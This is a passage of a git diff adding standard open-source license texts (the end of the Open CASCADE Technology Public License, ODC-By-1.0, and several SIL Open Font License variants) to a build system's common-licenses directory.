+ You reproduce in all copies of the Software the copyright and other proprietary notices and disclaimers of the Initial Developer as they appear in the Original Code and attached hereto as Schedule "A" and any other notices or disclaimers attached to the Software and keep intact all notices in the Original Code that refer to this License and to the absence of any warranty;
+
+ You include a copy of this License with every copy of the Software You distribute;
+
+ If you distribute or sublicense the Software (as modified by You or on Your behalf as the case may be), You cause such Software to be licensed as a whole, at no charge, to all third parties, under the terms and conditions of the License, making in particular available to all third parties the source code of the Software;
+
+ You document all Your Modifications, indicate the date of each such Modification, designate the version of the Software You used, prominently include a file carrying such information with respect to the Modifications and duplicate the copyright and other proprietary notices and disclaimers attached hereto as Schedule "B" or any other notices or disclaimers attached to the Software with your Modifications.
+
+For greater certainty, it is expressly understood that You may freely create Derivative Programs (without any obligation to publish such Derivative Program) and distribute same as a single product. In such case, You must ensure that all the requirements of this License are fulfilled for the Software or any portion thereof.
+
+5. Your license
+You hereby grant all Contributors and anyone who becomes a party under this License a world-wide, non-exclusive, royalty-free and irrevocable license under the Applicable Intellectual Property Rights owned or controlled by You, to use, reproduce, modify, distribute and sublicense all Your Modifications under the terms and conditions of this License.
+
+6. Software subject to license
+Your Modifications shall be governed by the terms and conditions of this License. You are not authorized to impose any other terms or conditions than those prevailing under this License when You distribute and/or sublicense the Software, save and except as permitted under Section 7 hereof.
+
+7. Additional terms
+You may choose to offer, on a non-exclusive basis, and to charge a fee for any warranty, support, maintenance, liability obligations or other rights consistent with the scope of this License with respect to the Software (the "Additional Terms") to the recipients of the Software. However, You may do so only on Your own behalf and on Your sole and exclusive responsibility. You must obtain the recipient's agreement that any such Additional Terms are offered by You alone, and You hereby agree to indemnify, defend and hold the Initial Developer and any Contributor harmless for any liability incurred by or claims asserted against the Initial Developer or any Contributors with respect to any such Additional Terms.
+
+8. Disclaimer of warranty
+The Software is provided under this License on an "as is" basis, without warranty of any kind, including without limitation, warranties that the Software is free of defects, merchantable, fit for a particular purpose or non-infringing. The entire risk as to the quality and performance of the Software is with You.
+
+9. Liability
+Under no circumstances shall You, the Initial Developer or any Contributor be liable to any person for any direct or indirect damages of any kind including, without limitation, damages for loss of goodwill, loss of data, work stoppage, computer failure or malfunction or any and all other commercial damages or losses resulting from or relating to this License or indirectly to the use of the Software.
+
+10. Trademark
+This License does not grant any rights to use the trademarks, trade names and domain names "MATRA", "EADS Matra Datavision", "CAS.CADE", "Open CASCADE", "opencascade.com" and "opencascade.org" or any other trademarks, trade names or domain names used or owned by the Initial Developer.
+
+11. Copyright
+The Initial Developer retains all rights, title and interest in and to the Original Code. You may not remove the copyright © notice which appears when You download the Software.
+
+12. Term
+This License is granted to You for a term equal to the remaining period of protection covered by the intellectual property rights applicable to the Original Code.
+
+13. Termination
+In case of termination, as provided in Section 3 above, You agree to immediately stop any further use, reproduction, modification, distribution and sublicensing of the Software and to destroy all copies of the Software that are in Your possession or control. All sublicenses of the Software which have been properly granted prior to termination shall survive any termination of this License. In addition, Sections 5, 8 to 11, 13.2 and 15.2 of this License, in reason of their nature, shall survive the termination of this License for a period of fifteen (15) years.
+
+14. Versions of the license
+The Initial Developer may publish new versions of this License from time to time. Once Original Code has been published under a particular version of this License, You may choose to continue to use it under the terms and conditions of that version or use the Original Code under the terms of any subsequent version of this License published by the Initial Developer.
+
+15. Miscellaneous
+ 15.1 Relationship of the Parties This License will not be construed as creating an agency, partnership, joint venture or any other form of legal association between You and the Initial Developer, and You will not represent to the contrary, whether expressly, by implication or otherwise.
+
+ 15.2 Independent Development Nothing in this License will impair the Initial Developer's right to acquire, license, develop, have others develop for it, market or distribute technology or products that perform the same or similar functions as, or otherwise compete with, Modifications, Derivative Programs, technology or products that You may develop, produce, market or distribute.
+
+ 15.3 Severability If for any reason a court of competent jurisdiction finds any provision of this License, or portion thereof, to be unenforceable, that provision of the License will be enforced to the maximum extent permissible so as to effect the economic benefits and intent of the parties, and the remainder of this License will continue in full force and extent.
+
+END OF THE TERMS AND CONDITIONS OF THIS LICENSE
+
+OPEN CASCADE is a French société par actions simplifiée having its registered head office at 1, place des Frères Montgolfier, 78280, Guyancourt, France and main offices at 1, place des Frères Montgolfier, 78280, Guyancourt, France. Its web site is located at the following address opencascade.com
+
+Open CASCADE Technology Public License
+Schedule "A"
+
+ The content of this file is subject to the Open CASCADE Technology Public License (the "License"). You may not use the content of this file except in compliance with the License. Please obtain a copy of the License at opencascade.com and read it completely before using this file.
+
+ The Initial Developer of the Original Code is OPEN CASCADE, with main offices at 1, place des Frères Montgolfier, 78280, Guyancourt, France. The Original Code is copyright © OPEN CASCADE SAS, 2001. All rights reserved. "The Original Code and all software distributed under the License are distributed on an "AS IS" basis, without warranty of any kind, and the Initial Developer hereby disclaims all such warranties, including without limitation, any warranties of merchantability, fitness for a particular purpose or non-infringement.
+
+ Please see the License for the specific terms and conditions governing rights and limitations under the License".
+ End of Schedule "A"
+
+Open CASCADE Technology Public License
+Schedule "B"
+
+ "The content of this file is subject to the Open CASCADE Technology Public License (the "License"). You may not use the content of this file except in compliance with the License. Please obtain a copy of the License at opencascade.com and read it completely before using this file.
+
+ The Initial Developer of the Original Code is OPEN CASCADE, with main offices at 1, place des Frères Montgolfier, 78280, Guyancourt, France. The Original Code is copyright © Open CASCADE SAS, 2001. All rights reserved.
+
+ Modifications to the Original Code have been made by ________________________. Modifications are copyright © [Year to be included]. All rights reserved.
+
+ The software Open CASCADE Technology and all software distributed under the License are distributed on an "AS IS" basis, without warranty of any kind, and the Initial Developer hereby disclaims all such warranties, including without limitation, any warranties of merchantability, fitness for a particular purpose or non-infringement.
+
+ Please see the License for the specific terms and conditions governing rights and limitations under the License"
+ End of Schedule "B"
diff --git a/meta/files/common-licenses/ODC-By-1.0 b/meta/files/common-licenses/ODC-By-1.0
new file mode 100644
index 0000000000..15115ca9ca
--- /dev/null
+++ b/meta/files/common-licenses/ODC-By-1.0
@@ -0,0 +1,195 @@
+# ODC Attribution License (ODC-By)
+
+### Preamble
+
+The Open Data Commons Attribution License is a license agreement intended to allow users to freely share, modify, and use this Database subject only to the attribution requirements set out in Section 4.
+
+Databases can contain a wide variety of types of content (images, audiovisual material, and sounds all in the same database, for example), and so this license only governs the rights over the Database, and not the contents of the Database individually. Licensors may therefore wish to use this license together with another license for the contents.
+
+Sometimes the contents of a database, or the database itself, can be covered by other rights not addressed here (such as private contracts, trademark over the name, or privacy rights / data protection rights over information in the contents), and so you are advised that you may have to consult other documents or clear other rights before doing activities not covered by this License.
+
+------
+
+The Licensor (as defined below)
+
+and
+
+You (as defined below)
+
+agree as follows:
+
+### 1.0 Definitions of Capitalised Words
+
+"Collective Database" – Means this Database in unmodified form as part of a collection of independent databases in themselves that together are assembled into a collective whole. A work that constitutes a Collective Database will not be considered a Derivative Database.
+
+"Convey" – As a verb, means Using the Database, a Derivative Database, or the Database as part of a Collective Database in any way that enables a Person to make or receive copies of the Database or a Derivative Database. Conveying does not include interaction with a user through a computer network, or creating and Using a Produced Work, where no transfer of a copy of the Database or a Derivative Database occurs.
+
+"Contents" – The contents of this Database, which includes the information, independent works, or other material collected into the Database. For example, the contents of the Database could be factual data or works such as images, audiovisual material, text, or sounds.
+
+"Database" – A collection of material (the Contents) arranged in a systematic or methodical way and individually accessible by electronic or other means offered under the terms of this License.
+
+"Database Directive" – Means Directive 96/9/EC of the European Parliament and of the Council of 11 March 1996 on the legal protection of databases, as amended or succeeded.
+
+"Database Right" – Means rights resulting from the Chapter III ("sui generis") rights in the Database Directive (as amended and as transposed by member states), which includes the Extraction and Re-utilisation of the whole or a Substantial part of the Contents, as well as any similar rights available in the relevant jurisdiction under Section 10.4.
+
+"Derivative Database" – Means a database based upon the Database, and includes any translation, adaptation, arrangement, modification, or any other alteration of the Database or of a Substantial part of the Contents. This includes, but is not limited to, Extracting or Re-utilising the whole or a Substantial part of the Contents in a new Database.
+
+"Extraction" – Means the permanent or temporary transfer of all or a Substantial part of the Contents to another medium by any means or in any form.
+
+"License" – Means this license agreement and is both a license of rights such as copyright and Database Rights and an agreement in contract.
+
+"Licensor" – Means the Person that offers the Database under the terms of this License.
+
+"Person" – Means a natural or legal person or a body of persons corporate or incorporate.
+
+"Produced Work" – a work (such as an image, audiovisual material, text, or sounds) resulting from using the whole or a Substantial part of the Contents (via a search or other query) from this Database, a Derivative Database, or this Database as part of a Collective Database.
+
+"Publicly" – means to Persons other than You or under Your control by either more than 50% ownership or by the power to direct their activities (such as contracting with an independent consultant).
+
+"Re-utilisation" – means any form of making available to the public all or a Substantial part of the Contents by the distribution of copies, by renting, by online or other forms of transmission.
+
+"Substantial" – Means substantial in terms of quantity or quality or a combination of both. The repeated and systematic Extraction or Re-utilisation of insubstantial parts of the Contents may amount to the Extraction or Re-utilisation of a Substantial part of the Contents.
+
+"Use" – As a verb, means doing any act that is restricted by copyright or Database Rights whether in the original medium or any other; and includes without limitation distributing, copying, publicly performing, publicly displaying, and preparing derivative works of the Database, as well as modifying the Database as may be technically necessary to use it in a different mode or format.
+
+"You" – Means a Person exercising rights under this License who has not previously violated the terms of this License with respect to the Database, or who has received express permission from the Licensor to exercise rights under this License despite a previous violation.
+
+Words in the singular include the plural and vice versa.
+
+### 2.0 What this License covers
+
+2.1. Legal effect of this document. This License is:
+
+ a. A license of applicable copyright and neighbouring rights;
+
+ b. A license of the Database Right; and
+
+ c. An agreement in contract between You and the Licensor.
+
+2.2 Legal rights covered. This License covers the legal rights in the Database, including:
+
+ a. Copyright. Any copyright or neighbouring rights in the Database. The copyright licensed includes any individual elements of the Database, but does not cover the copyright over the Contents independent of this Database. See Section 2.4 for details. Copyright law varies between jurisdictions, but is likely to cover: the Database model or schema, which is the structure, arrangement, and organisation of the Database, and can also include the Database tables and table indexes; the data entry and output sheets; and the Field names of Contents stored in the Database;
+
+ b. Database Rights. Database Rights only extend to the Extraction and Re-utilisation of the whole or a Substantial part of the Contents. Database Rights can apply even when there is no copyright over the Database. Database Rights can also apply when the Contents are removed from the Database and are selected and arranged in a way that would not infringe any applicable copyright; and
+
+ c. Contract. This is an agreement between You and the Licensor for access to the Database. In return you agree to certain conditions of use on this access as outlined in this License.
+
+2.3 Rights not covered.
+
+ a. This License does not apply to computer programs used in the making or operation of the Database;
+
+ b. This License does not cover any patents over the Contents or the Database; and
+
+ c. This License does not cover any trademarks associated with the Database.
+
+2.4 Relationship to Contents in the Database. The individual items of the Contents contained in this Database may be covered by other rights, including copyright, patent, data protection, privacy, or personality rights, and this License does not cover any rights (other than Database Rights or in contract) in individual Contents contained in the Database. For example, if used on a Database of images (the Contents), this License would not apply to copyright over individual images, which could have their own separate licenses, or one single license covering all of the rights over the images.
+
+### 3.0 Rights granted
+
+3.1 Subject to the terms and conditions of this License, the Licensor grants to You a worldwide, royalty-free, non-exclusive, terminable (but only under Section 9) license to Use the Database for the duration of any applicable copyright and Database Rights. These rights explicitly include commercial use, and do not exclude any field of endeavour. To the extent possible in the relevant jurisdiction, these rights may be exercised in all media and formats whether now known or created in the future.
+
+The rights granted cover, for example:
+
+ a. Extraction and Re-utilisation of the whole or a Substantial part of the Contents;
+
+ b. Creation of Derivative Databases;
+
+ c. Creation of Collective Databases;
+
+ d. Creation of temporary or permanent reproductions by any means and in any form, in whole or in part, including of any Derivative Databases or as a part of Collective Databases; and
+
+ e. Distribution, communication, display, lending, making available, or performance to the public by any means and in any form, in whole or in part, including of any Derivative Database or as a part of Collective Databases.
+
+3.2 Compulsory license schemes. For the avoidance of doubt:
+
+ a. Non-waivable compulsory license schemes. In those jurisdictions in which the right to collect royalties through any statutory or compulsory licensing scheme cannot be waived, the Licensor reserves the exclusive right to collect such royalties for any exercise by You of the rights granted under this License;
+
+ b. Waivable compulsory license schemes. In those jurisdictions in which the right to collect royalties through any statutory or compulsory licensing scheme can be waived, the Licensor waives the exclusive right to collect such royalties for any exercise by You of the rights granted under this License; and,
+
+ c. Voluntary license schemes. The Licensor waives the right to collect royalties, whether individually or, in the event that the Licensor is a member of a collecting society that administers voluntary licensing schemes, via that society, from any exercise by You of the rights granted under this License.
+
+3.3 The right to release the Database under different terms, or to stop distributing or making available the Database, is reserved. Note that this Database may be multiple-licensed, and so You may have the choice of using alternative licenses for this Database. Subject to Section 10.4, all other rights not expressly granted by Licensor are reserved.
+
+### 4.0 Conditions of Use
+
+4.1 The rights granted in Section 3 above are expressly made subject to Your complying with the following conditions of use. These are important conditions of this License, and if You fail to follow them, You will be in material breach of its terms.
+
+4.2 Notices. If You Publicly Convey this Database, any Derivative Database, or the Database as part of a Collective Database, then You must:
+
+ a. Do so only under the terms of this License;
+
+ b. Include a copy of this License or its Uniform Resource Identifier (URI) with the Database or Derivative Database, including both in the Database or Derivative Database and in any relevant documentation;
+
+ c. Keep intact any copyright or Database Right notices and notices that refer to this License; and
+
+ d. If it is not possible to put the required notices in a particular file due to its structure, then You must include the notices in a location (such as a relevant directory) where users would be likely to look for it.
+
+4.3 Notice for using output (Contents). Creating and Using a Produced Work does not require the notice in Section 4.2. However, if you Publicly Use a Produced Work, You must include a notice associated with the Produced Work reasonably calculated to make any Person that uses, views, accesses, interacts with, or is otherwise exposed to the Produced Work aware that Content was obtained from the Database, Derivative Database, or the Database as part of a Collective Database, and that it is available under this License.
+
+ a. Example notice. The following text will satisfy notice under Section 4.3:
+
+ Contains information from DATABASE NAME which is made available under the ODC Attribution License.
+
+DATABASE NAME should be replaced with the name of the Database and a hyperlink to the location of the Database. "ODC Attribution License" should contain a hyperlink to the URI of the text of this License. If hyperlinks are not possible, You should include the plain text of the required URI's with the above notice.
+
+4.4 Licensing of others. You may not sublicense the Database. Each time You communicate the Database, the whole or Substantial part of the Contents, or any Derivative Database to anyone else in any way, the Licensor offers to the recipient a license to the Database on the same terms and conditions as this License. You are not responsible for enforcing compliance by third parties with this License, but You may enforce any rights that You have over a Derivative Database. You are solely responsible for any modifications of a Derivative Database made by You or another Person at Your direction. You may not impose any further restrictions on the exercise of the rights granted or affirmed under this License.
+
+### 5.0 Moral rights
+
+5.1 Moral rights. This section covers moral rights, including any rights to be identified as the author of the Database or to object to treatment that would otherwise prejudice the author's honour and reputation, or any other derogatory treatment:
+
+ a. For jurisdictions allowing waiver of moral rights, Licensor waives all moral rights that Licensor may have in the Database to the fullest extent possible by the law of the relevant jurisdiction under Section 10.4;
+
+ b. If waiver of moral rights under Section 5.1 a in the relevant jurisdiction is not possible, Licensor agrees not to assert any moral rights over the Database and waives all claims in moral rights to the fullest extent possible by the law of the relevant jurisdiction under Section 10.4; and
+
+ c. For jurisdictions not allowing waiver or an agreement not to assert moral rights under Section 5.1 a and b, the author may retain their moral rights over certain aspects of the Database.
+
+Please note that some jurisdictions do not allow for the waiver of moral rights, and so moral rights may still subsist over the Database in some jurisdictions.
+
+### 6.0 Fair dealing, Database exceptions, and other rights not affected
+
+6.1 This License does not affect any rights that You or anyone else may independently have under any applicable law to make any use of this Database, including without limitation:
+
+ a. Exceptions to the Database Right including: Extraction of Contents from non-electronic Databases for private purposes, Extraction for purposes of illustration for teaching or scientific research, and Extraction or Re-utilisation for public security or an administrative or judicial procedure.
+
+ b. Fair dealing, fair use, or any other legally recognised limitation or exception to infringement of copyright or other applicable laws.
+
+6.2 This License does not affect any rights of lawful users to Extract and Re-utilise insubstantial parts of the Contents, evaluated quantitatively or qualitatively, for any purposes whatsoever, including creating a Derivative Database (subject to other rights over the Contents, see Section 2.4). The repeated and systematic Extraction or Re-utilisation of insubstantial parts of the Contents may however amount to the Extraction or Re-utilisation of a Substantial part of the Contents.
+
+### 7.0 Warranties and Disclaimer
+
+7.1 The Database is licensed by the Licensor "as is" and without any warranty of any kind, either express, implied, or arising by statute, custom, course of dealing, or trade usage. Licensor specifically disclaims any and all implied warranties or conditions of title, non-infringement, accuracy or completeness, the presence or absence of errors, fitness for a particular purpose, merchantability, or otherwise. Some jurisdictions do not allow the exclusion of implied warranties, so this exclusion may not apply to You.
+
+### 8.0 Limitation of liability
+
+8.1 Subject to any liability that may not be excluded or limited by law, the Licensor is not liable for, and expressly excludes, all liability for loss or damage however and whenever caused to anyone by any use under this License, whether by You or by anyone else, and whether caused by any fault on the part of the Licensor or not. This exclusion of liability includes, but is not limited to, any special, incidental, consequential, punitive, or exemplary damages such as loss of revenue, data, anticipated profits, and lost business. This exclusion applies even if the Licensor has been advised of the possibility of such damages.
+
+8.2 If liability may not be excluded by law, it is limited to actual and direct financial loss to the extent it is caused by proved negligence on the part of the Licensor.
+
+### 9.0 Termination of Your rights under this License
+
+9.1 Any breach by You of the terms and conditions of this License automatically terminates this License with immediate effect and without notice to You. For the avoidance of doubt, Persons who have received the Database, the whole or a Substantial part of the Contents, Derivative Databases, or the Database as part of a Collective Database from You under this License will not have their licenses terminated provided their use is in full compliance with this License or a license granted under Section 4.8 of this License. Sections 1, 2, 7, 8, 9 and 10 will survive any termination of this License.
+
+9.2 If You are not in breach of the terms of this License, the Licensor will not terminate Your rights under it.
+
+9.3 Unless terminated under Section 9.1, this License is granted to You for the duration of applicable rights in the Database.
+
+9.4 Reinstatement of rights. If you cease any breach of the terms and conditions of this License, then your full rights under this License will be reinstated:
+
+ a. Provisionally and subject to permanent termination until the 60th day after cessation of breach;
+
+ b. Permanently on the 60th day after cessation of breach unless otherwise reasonably notified by the Licensor; or
+
+ c. Permanently if reasonably notified by the Licensor of the violation, this is the first time You have received notice of violation of this License from the Licensor, and You cure the violation prior to 30 days after your receipt of the notice.
+
+9.5 Notwithstanding the above, Licensor reserves the right to release the Database under different license terms or to stop distributing or making available the Database. Releasing the Database under different license terms or stopping the distribution of the Database will not withdraw this License (or any other license that has been, or is required to be, granted under the terms of this License), and this License will continue in full force and effect unless terminated as stated above.
+
+### 10.0 General
+
+10.1 If any provision of this License is held to be invalid or unenforceable, that must not affect the validity or enforceability of the remainder of the terms and conditions of this License and each remaining provision of this License shall be valid and enforced to the fullest extent permitted by law.
+
+10.2 This License is the entire agreement between the parties with respect to the rights granted here over the Database. It replaces any earlier understandings, agreements or representations with respect to the Database.
+
+10.3 If You are in breach of the terms of this License, You will not be entitled to rely on the terms of this License or to complain of any breach by the Licensor.
+
+10.4 Choice of law. This License takes effect in and will be governed by the laws of the relevant jurisdiction in which the License terms are sought to be enforced. If the standard suite of rights granted under applicable copyright law and Database Rights in the relevant jurisdiction includes additional rights not granted under this License, these additional rights are granted in this License in order to meet the terms of this License.
diff --git a/meta/files/common-licenses/OFL-1.0 b/meta/files/common-licenses/OFL-1.0
new file mode 100644
index 0000000000..9673cd20f5
--- /dev/null
+++ b/meta/files/common-licenses/OFL-1.0
@@ -0,0 +1,49 @@
+SIL OPEN FONT LICENSE
+
+Version 1.0 - 22 November 2005
+
+PREAMBLE
+
+The goals of the Open Font License (OFL) are to stimulate worldwide development of cooperative font projects, to support the font creation efforts of academic and linguistic communities, and to provide an open framework in which fonts may be shared and improved in partnership with others.
+
+The OFL allows the licensed fonts to be used, studied, modified and redistributed freely as long as they are not sold by themselves. The fonts, including any derivative works, can be bundled, embedded, redistributed and sold with any software provided that the font names of derivative works are changed. The fonts and derivatives, however, cannot be released under any other type of license.
+
+DEFINITIONS
+
+"Font Software" refers to any and all of the following:
+
+ - font files
+ - data files
+ - source code
+ - build scripts
+ - documentation
+
+"Reserved Font Name" refers to the Font Software name as seen by users and any other names as specified after the copyright statement.
+
+"Standard Version" refers to the collection of Font Software components as distributed by the Copyright Holder.
+
+"Modified Version" refers to any derivative font software made by adding to, deleting, or substituting — in part or in whole -- any of the components of the Standard Version, by changing formats or by porting the Font Software to a new environment.
+
+"Author" refers to any designer, engineer, programmer, technical writer or other person who contributed to the Font Software.
+
+PERMISSION & CONDITIONS
+
+Permission is hereby granted, free of charge, to any person obtaining a copy of the Font Software, to use, study, copy, merge, embed, modify, redistribute, and sell modified and unmodified copies of the Font Software, subject to the following conditions:
+
+1) Neither the Font Software nor any of its individual components, in Standard or Modified Versions, may be sold by itself.
+
+2) Standard or Modified Versions of the Font Software may be bundled, redistributed and sold with any software, provided that each copy contains the above copyright notice and this license. These can be included either as stand-alone text files, human-readable headers or in the appropriate machine-readable metadata fields within text or binary files as long as those fields can be easily viewed by the user.
+
+3) No Modified Version of the Font Software may use the Reserved Font Name(s), in part or in whole, unless explicit written permission is granted by the Copyright Holder. This restriction applies to all references stored in the Font Software, such as the font menu name and other font description fields, which are used to differentiate the font from others.
+
+4) The name(s) of the Copyright Holder or the Author(s) of the Font Software shall not be used to promote, endorse or advertise any Modified Version, except to acknowledge the contribution(s) of the Copyright Holder and the Author(s) or with their explicit written permission.
+
+5) The Font Software, modified or unmodified, in part or in whole, must be distributed using this license, and may not be distributed under any other license.
+
+TERMINATION
+
+This license becomes null and void if any of the above conditions are not met.
+
+DISCLAIMER
+
+THE FONT SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT OF COPYRIGHT, PATENT, TRADEMARK, OR OTHER RIGHT. IN NO EVENT SHALL THE COPYRIGHT HOLDER BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, INCLUDING ANY GENERAL, SPECIAL, INDIRECT, INCIDENTAL, OR CONSEQUENTIAL DAMAGES, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF THE USE OR INABILITY TO USE THE FONT SOFTWARE OR FROM OTHER DEALINGS IN THE FONT SOFTWARE.
diff --git a/meta/files/common-licenses/OFL-1.0-RFN b/meta/files/common-licenses/OFL-1.0-RFN
new file mode 100644
index 0000000000..9673cd20f5
--- /dev/null
+++ b/meta/files/common-licenses/OFL-1.0-RFN
@@ -0,0 +1,49 @@
+SIL OPEN FONT LICENSE
+
+Version 1.0 - 22 November 2005
+
+PREAMBLE
+
+The goals of the Open Font License (OFL) are to stimulate worldwide development of cooperative font projects, to support the font creation efforts of academic and linguistic communities, and to provide an open framework in which fonts may be shared and improved in partnership with others.
+
+The OFL allows the licensed fonts to be used, studied, modified and redistributed freely as long as they are not sold by themselves. The fonts, including any derivative works, can be bundled, embedded, redistributed and sold with any software provided that the font names of derivative works are changed. The fonts and derivatives, however, cannot be released under any other type of license.
+
+DEFINITIONS
+
+"Font Software" refers to any and all of the following:
+
+ - font files
+ - data files
+ - source code
+ - build scripts
+ - documentation
+
+"Reserved Font Name" refers to the Font Software name as seen by users and any other names as specified after the copyright statement.
+
+"Standard Version" refers to the collection of Font Software components as distributed by the Copyright Holder.
+
+"Modified Version" refers to any derivative font software made by adding to, deleting, or substituting — in part or in whole -- any of the components of the Standard Version, by changing formats or by porting the Font Software to a new environment.
+
+"Author" refers to any designer, engineer, programmer, technical writer or other person who contributed to the Font Software.
+
+PERMISSION & CONDITIONS
+
+Permission is hereby granted, free of charge, to any person obtaining a copy of the Font Software, to use, study, copy, merge, embed, modify, redistribute, and sell modified and unmodified copies of the Font Software, subject to the following conditions:
+
+1) Neither the Font Software nor any of its individual components, in Standard or Modified Versions, may be sold by itself.
+
+2) Standard or Modified Versions of the Font Software may be bundled, redistributed and sold with any software, provided that each copy contains the above copyright notice and this license. These can be included either as stand-alone text files, human-readable headers or in the appropriate machine-readable metadata fields within text or binary files as long as those fields can be easily viewed by the user.
+
+3) No Modified Version of the Font Software may use the Reserved Font Name(s), in part or in whole, unless explicit written permission is granted by the Copyright Holder. This restriction applies to all references stored in the Font Software, such as the font menu name and other font description fields, which are used to differentiate the font from others.
+
+4) The name(s) of the Copyright Holder or the Author(s) of the Font Software shall not be used to promote, endorse or advertise any Modified Version, except to acknowledge the contribution(s) of the Copyright Holder and the Author(s) or with their explicit written permission.
+
+5) The Font Software, modified or unmodified, in part or in whole, must be distributed using this license, and may not be distributed under any other license.
+
+TERMINATION
+
+This license becomes null and void if any of the above conditions are not met.
+
+DISCLAIMER
+
+THE FONT SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT OF COPYRIGHT, PATENT, TRADEMARK, OR OTHER RIGHT. IN NO EVENT SHALL THE COPYRIGHT HOLDER BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, INCLUDING ANY GENERAL, SPECIAL, INDIRECT, INCIDENTAL, OR CONSEQUENTIAL DAMAGES, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF THE USE OR INABILITY TO USE THE FONT SOFTWARE OR FROM OTHER DEALINGS IN THE FONT SOFTWARE.
diff --git a/meta/files/common-licenses/OFL-1.0-no-RFN b/meta/files/common-licenses/OFL-1.0-no-RFN
new file mode 100644
index 0000000000..9673cd20f5
--- /dev/null
+++ b/meta/files/common-licenses/OFL-1.0-no-RFN
@@ -0,0 +1,49 @@
+SIL OPEN FONT LICENSE
+
+Version 1.0 - 22 November 2005
+
+PREAMBLE
+
+The goals of the Open Font License (OFL) are to stimulate worldwide development of cooperative font projects, to support the font creation efforts of academic and linguistic communities, and to provide an open framework in which fonts may be shared and improved in partnership with others.
+
+The OFL allows the licensed fonts to be used, studied, modified and redistributed freely as long as they are not sold by themselves. The fonts, including any derivative works, can be bundled, embedded, redistributed and sold with any software provided that the font names of derivative works are changed. The fonts and derivatives, however, cannot be released under any other type of license.
+
+DEFINITIONS
+
+"Font Software" refers to any and all of the following:
+
+ - font files
+ - data files
+ - source code
+ - build scripts
+ - documentation
+
+"Reserved Font Name" refers to the Font Software name as seen by users and any other names as specified after the copyright statement.
+
+"Standard Version" refers to the collection of Font Software components as distributed by the Copyright Holder.
+
+"Modified Version" refers to any derivative font software made by adding to, deleting, or substituting — in part or in whole -- any of the components of the Standard Version, by changing formats or by porting the Font Software to a new environment.
+
+"Author" refers to any designer, engineer, programmer, technical writer or other person who contributed to the Font Software.
+
+PERMISSION & CONDITIONS
+
+Permission is hereby granted, free of charge, to any person obtaining a copy of the Font Software, to use, study, copy, merge, embed, modify, redistribute, and sell modified and unmodified copies of the Font Software, subject to the following conditions:
+
+1) Neither the Font Software nor any of its individual components, in Standard or Modified Versions, may be sold by itself.
+
+2) Standard or Modified Versions of the Font Software may be bundled, redistributed and sold with any software, provided that each copy contains the above copyright notice and this license. These can be included either as stand-alone text files, human-readable headers or in the appropriate machine-readable metadata fields within text or binary files as long as those fields can be easily viewed by the user.
+
+3) No Modified Version of the Font Software may use the Reserved Font Name(s), in part or in whole, unless explicit written permission is granted by the Copyright Holder. This restriction applies to all references stored in the Font Software, such as the font menu name and other font description fields, which are used to differentiate the font from others.
+
+4) The name(s) of the Copyright Holder or the Author(s) of the Font Software shall not be used to promote, endorse or advertise any Modified Version, except to acknowledge the contribution(s) of the Copyright Holder and the Author(s) or with their explicit written permission.
+
+5) The Font Software, modified or unmodified, in part or in whole, must be distributed using this license, and may not be distributed under any other license.
+
+TERMINATION
+
+This license becomes null and void if any of the above conditions are not met.
+
+DISCLAIMER
+
+THE FONT SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT OF COPYRIGHT, PATENT, TRADEMARK, OR OTHER RIGHT. IN NO EVENT SHALL THE COPYRIGHT HOLDER BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, INCLUDING ANY GENERAL, SPECIAL, INDIRECT, INCIDENTAL, OR CONSEQUENTIAL DAMAGES, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF THE USE OR INABILITY TO USE THE FONT SOFTWARE OR FROM OTHER DEALINGS IN THE FONT SOFTWARE.
diff --git a/meta/files/common-licenses/OFL-1.1-RFN b/meta/files/common-licenses/OFL-1.1-RFN
new file mode 100644
index 0000000000..6fe84ee21e
--- /dev/null
+++ b/meta/files/common-licenses/OFL-1.1-RFN
@@ -0,0 +1,43 @@
+SIL OPEN FONT LICENSE
+
+Version 1.1 - 26 February 2007
+
+PREAMBLE
+
+The goals of the Open Font License (OFL) are to stimulate worldwide development of collaborative font projects, to support the font creation efforts of academic and linguistic communities, and to provide a free and open framework in which fonts may be shared and improved in partnership with others.
+
+The OFL allows the licensed fonts to be used, studied, modified and redistributed freely as long as they are not sold by themselves. The fonts, including any derivative works, can be bundled, embedded, redistributed and/or sold with any software provided that any reserved names are not used by derivative works. The fonts and derivatives, however, cannot be released under any other type of license. The requirement for fonts to remain under this license does not apply to any document created using the fonts or their derivatives.
+
+DEFINITIONS
+
+"Font Software" refers to the set of files released by the Copyright Holder(s) under this license and clearly marked as such. This may include source files, build scripts and documentation.
+
+"Reserved Font Name" refers to any names specified as such after the copyright statement(s).
+
+"Original Version" refers to the collection of Font Software components as distributed by the Copyright Holder(s).
+
+"Modified Version" refers to any derivative made by adding to, deleting, or substituting — in part or in whole — any of the components of the Original Version, by changing formats or by porting the Font Software to a new environment.
+
+"Author" refers to any designer, engineer, programmer, technical writer or other person who contributed to the Font Software.
+
+PERMISSION & CONDITIONS
+
+Permission is hereby granted, free of charge, to any person obtaining a copy of the Font Software, to use, study, copy, merge, embed, modify, redistribute, and sell modified and unmodified copies of the Font Software, subject to the following conditions:
+
+1) Neither the Font Software nor any of its individual components, in Original or Modified Versions, may be sold by itself.
+
+2) Original or Modified Versions of the Font Software may be bundled, redistributed and/or sold with any software, provided that each copy contains the above copyright notice and this license. These can be included either as stand-alone text files, human-readable headers or in the appropriate machine-readable metadata fields within text or binary files as long as those fields can be easily viewed by the user.
+
